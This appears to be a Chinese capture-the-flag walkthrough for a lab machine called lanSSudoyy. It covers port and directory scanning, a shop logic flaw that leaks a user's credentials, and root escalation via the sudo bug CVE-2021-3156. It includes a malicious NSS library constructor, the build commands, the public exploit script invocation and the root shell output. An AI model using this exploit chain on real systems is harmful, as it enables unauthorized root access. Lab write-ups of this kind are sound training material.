

lanSSudoyy

靶机: lanSSudoyy

作者: wea5e1 (QQ: 3522700034)

靶机ID: 618

系统: Linux

难度: baby

信息收集

```
(root@kali)-[~]
# ./rustscan -a 192.168.44.222
\.....
| 0 } {} | { { / / 0 \ | | |
| . \ { | . } } | | . } \ / ^ \ | |
|.....|
The Modern Day Port Scanner.

-----
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan  :
-----

Breaking and entering... into the world of open ports.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive s
ervers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the
Ulimit with '--ulimit 5000'.
Open 192.168.44.222:22
Open 192.168.44.222:80
[~] Starting Script(s)
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-25 01:06 EDT
Initiating ARP Ping Scan at 01:06
Scanning 192.168.44.222 [1 port]
Completed ARP Ping Scan at 01:06, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:06
Completed Parallel DNS resolution of 1 host. at 01:06, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
```

80端口探测

```
(root@kali)~# gobuster dir -u http://192.168.44.222 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20

=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://192.168.44.222
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: zip,php,html,txt,js
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/index.html (Status: 200) [Size: 6]
/index.php (Status: 200) [Size: 927]
Progress: 4676 / 1323354 (0.35%)
```

ROOT SHOP

你的账户余额: ¥-1100

耳机(¥100) 数量:

确认购买

[购买核心权限 - ¥1000]

逻辑漏洞

ROOT SHOP

你的账户余额: ¥1200

耳机(¥100) 数量:

[购买核心权限 - ¥1000]

ROOT SHOP

你的账户余额: ¥200

耳机(¥100) 数量:

[购买核心权限 - ¥1000]

[✓] 核心权限解锁成功

凭据: `sublarge:SublargePass2026`

权限提升|CVE-2021-3156

```
sublarge@lanSSudooy:/opt$ ls
sudo-1.8.23
sublarge@lanSSudooy:/opt$
```

sudo1.8.23漏洞

网页 搜索 视频 图片 地图 COPILOT 更多

约 759 个结果

修复 Sudo 1.8.23 漏洞 (CVE-2021-3156)

1 2 3



Sudo 1.8.23 存在一个高危漏洞 (CVE-2021-3156)，攻击者可以利用该漏洞绕过身份验证并获取 root 权限。此漏洞影响多个版本的 Sudo，包括 1.8.2 至 1.8.31p2 和 1.9.0 至 1.9.5p1。

漏洞检测示例

运行以下命令检测系统是否受影响：

```
sudoedit -s /
```

如果返回以 `sudoedit:` 开头的错误信息，则系统存在漏洞；如果返回以 `usage:` 开头的信息，则已修复。

修复方法

方法 1：在线更新

使用包管理器更新 Sudo 到最新版本：

libnss_x.c

```
#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor)) void init() {
    setuid(0);
    setgid(0);
    system("/bin/sh -c 'cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt'");
}
[当然了修改命令，也可以拿到shell]
```

exploit_nss.py

https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

```
gcc -shared -fPIC -o libnss_X/X1234.so.2 libnss_x.c
python3 /tmp/sudonss/exploit_nss.py
```

```
sublarge@lanSSudooy:~/CVE-2021-3156-main$ python3 /tmp/sudonss/exploit_nss.py
# id
uid=0(root) gid=0(root) groups=0(root),1000(sublarge)
# exit
```